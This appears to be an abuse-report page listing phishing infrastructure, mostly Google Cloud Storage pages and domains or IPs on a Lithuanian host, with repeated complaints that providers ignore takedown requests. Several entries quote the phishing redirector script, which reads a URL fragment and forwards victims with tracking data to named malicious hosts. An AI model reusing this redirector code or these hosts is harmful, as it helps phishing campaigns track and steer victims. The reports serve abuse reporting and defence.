optoutsystem.com
Malicious:
https://www.virustotal.com/gui/domain/optoutsystem.com/details
opto ...
show moreoptoutsystem.com
Malicious:
https://www.virustotal.com/gui/domain/optoutsystem.com/details
optoutsystem.com
show less
bw-networkx.net
Redirect from
https://storage.googleapis.com/noda646aw555anode/here1235yfdtsf.ht ...
show morebw-networkx.net
Redirect from
https://storage.googleapis.com/noda646aw555anode/here1235yfdtsf.html
Source code:
Script redirects victims to
http://bw-networkx.net//anchor and parses some codes through to track the victim.
bw-networkx.net is malicious:
https://www.virustotal.com/gui/domain/bw-networkx.net
https://urlscan.io/search/#bw-networkx.net
show less
https://storage.googleapis.com/luxhfgbh5756/newauieuaia.html
Content of html:
<script>
var tarc ...
show morehttps://storage.googleapis.com/luxhfgbh5756/newauieuaia.html
Content of html:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "spomouth.fyi";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script reads parameters after #, and parses them to spomouth.fyi, in order to redirect victims to the phishing website and to track the success of the spam mail.
Google does not take down the malicious content on google cloud…
spomouth.fyi is malicious:
See
https://www.virustotal.com/gui/domain/spomouth.fyi
https://urlscan.io/search/#spomouth.fyi
show less
dimensionspacer.com
Part of phishing reload chain
Malicious, see:
https://urlscan.io/search/# ...
show moredimensionspacer.com
Part of phishing reload chain
Malicious, see:
https://urlscan.io/search/#dimensionspacer.com
show less
anhiad.live
Part of phishing reload chain…
Malicious, see
https://urlscan.io/search/#185.80.1 ...
show moreanhiad.live
Part of phishing reload chain…
Malicious, see
https://urlscan.io/search/#185.80.129.239
https://urlscan.io/search/#anhiad.live
https://www.virustotal.com/gui/domain/anhiad.live/detection
show less
https://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_para ...
show morehttps://storage.googleapis.com/adb23topofferwww/hrefly.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.239";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to malicious IP 185.80.129.239:
https://www.virustotal.com/gui/ip-address/185.80.129.239
Google does not take down the reported content
Sending complaints to [email protected] has neither any effect.
So RIPE, time to take action against VPSNET-AS
org-name: UAB ESNET
country: LT
org-type: LIR
address: Zuvedru 36
address: LT10103
address: Vilnius
address: LITHUANIA
show less
https://storage.googleapis.com/luxhfgbh5756/newauieuaia.html
Content of html:
<script>
var tarc ...
show morehttps://storage.googleapis.com/luxhfgbh5756/newauieuaia.html
Content of html:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "spomouth.fyi";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script reads parameters after #, and parses them to spomouth.fyi, in order to redirect victims to the phishing website and to track the success of the spam mail.
Google does not take down the malicious content on google cloud…
spomouth.fyi is malicious:
See
https://www.virustotal.com/gui/domain/spomouth.fyi
https://urlscan.io/search/#spomouth.fyi
show less
https://storage.googleapis.com/luxhfgbh5756/newauieuaia.html
Content of html:
<script>
var tarc ...
show morehttps://storage.googleapis.com/luxhfgbh5756/newauieuaia.html
Content of html:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "spomouth.fyi";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
Script reads parameters after #, and parses them to spomouth.fyi, in order to redirect victims to the phishing website and to track the success of the spam mail.
spomouth.fyi is malicious:
See
https://www.virustotal.com/gui/domain/spomouth.fyi
https://urlscan.io/search/#spomouth.fyi
show less
www.embassypharm.com
<script>
document.location="https://www.gearlocator.com/scarf"
</script>
...
show morewww.embassypharm.com
<script>
document.location="https://www.gearlocator.com/scarf"
</script>
Malicious, see
show less
https://www.gearlocator.com/scarf/tracking.php?data=processing
Malicious, see
https://urlscan.io ...
show morehttps://www.gearlocator.com/scarf/tracking.php?data=processing
Malicious, see
https://urlscan.io/search/#gearlocator.com
show less
https://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this malicious content.
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
[email protected] does not take action to remove the content on this IP
@RIPE: it is time to remove all IP-ranges from VPSNET.LT. Reporting abuse has no effect.
show less
https://storage.googleapis.com/uchihamadara/trackingh.html
Content:
<script>
var tarcking_par ...
show morehttps://storage.googleapis.com/uchihamadara/trackingh.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "spomouth.fyi";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to spomouth.fyi and to pass thru some parameters to further process the redirection to still other malicious domains.
http://spomouth.fyi/
Malicious, see
https://urlscan.io/search/#spomouth.fyi
@RIPE: Why is vpsnet.lt still able to host malicious content? Complaints to [email protected] does not result in removal of malicious content
show less
https://tinyurl.com/mrxa3fj2
http://spomouth.fyi/
Malicious, see
https://urlscan.io/search/ ...
show morehttps://tinyurl.com/mrxa3fj2
http://spomouth.fyi/
Malicious, see
https://urlscan.io/search/#spomouth.fyi
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14…
@RIPE: When will vpsnet.lt be taken offline?
show less
https://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this ...
show morehttps://storage.googleapis.com/mabololoxy/besales24.html
Google does not take action against this malicious content.
has the following content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.129.110";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
Reloads to 185.80.129.110
Malicious IP:
https://www.virustotal.com/gui/ip-address/185.80.129.110
https://urlscan.io/search/#185.80.129.110
[email protected] does not take action to remove the content on this IP
@RIPE: it is time to remove all IP-ranges from VPSNET.LT. Reporting abuse has no effect.
show less
https://www.bishalscreativegallery.com/dero
<script>
document.location="https://www.bustlebliss.co ...
show morehttps://www.bishalscreativegallery.com/dero
<script>
document.location="https://www.bustlebliss.com/belgiquewebserver"
</script>
Reload chain used by phishing criminals
show less
https://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
...
show morehttps://storage.googleapis.com/fwdamoz/wnftcit.html
Google does not take this content down...
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14…
@RIPE: When will vpsnet.lt be taken offline?
show less
https://storage.googleapis.com/stck021/mandel.html
html has this content:
<script>
var tarcki ...
show morehttps://storage.googleapis.com/stck021/mandel.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
Google does not take down this content, even after several complaints…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14
@RIPE: time to take down vpsnet.lt
show less
Part of the reload chain used by phishing criminals
yipsroks.com
Malicious, see
https://www.v ...
show morePart of the reload chain used by phishing criminals
yipsroks.com
Malicious, see
https://www.virustotal.com/gui/url/16ebb2167f728ba68c68eb9a79fd773981e224bcc72cc721d3fd41b1ee8e3f96
https://urlscan.io/search/#yipsroks.com
show less
https://storage.googleapis.com/raybane/xaxiiiiiii.html
Content:
<script>
var tarcking_param = w ...
show morehttps://storage.googleapis.com/raybane/xaxiiiiiii.html
Content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.130.149";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/?'+tarcking_param;
}
</script>
This script redirects victoms to IP 185.80.130.149 and transfers some parameters to this IP, which are used to redirect victims to the phishing website and to track the successrate of the spam campaign.
Malicious IP, see
https://www.virustotal.com/gui/url/6dbf987bffa1132b1804468d3d47bc4948ad76ac0448de1482170ade6faa2706?nocache=1
https://urlscan.io/search/#185.80.128.14
show less
https://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var ...
show morehttps://storage.googleapis.com/nwfotrac/9874tracknew.html
html has this content:
<script>
var tarcking_param = window.location.href.split('#')[1];
var srv_ip = "185.80.128.14";
if(!tarcking_param){
alert("please set tracking params!");
}else{
document.location.href = 'http://'+srv_ip+'/t/'+tarcking_param;
}
</script>
This script is used to redirect victims to another IP with the passing thru of some parameters used to track the identity of the victim and to reload to another IP…
Google does not take down this content, even after several complaints…
This IP is 185.80.128.14
This IP is known as malicious, see
https://www.virustotal.com/gui/ip-address/185.80.128.14
https://urlscan.io/search/#185.80.128.14
[email protected] does not take action to remove 185.80.128.14
@RIPE: time to take down vpsnet.lt
show less
PhishingEmail Spam
By clicking “Accept all”, you agree to the storing of cookies on your device to remember preferences and
analyze site usage.
Read more
- Required to log into your AbuseIPDB account, and store these cookie preferences.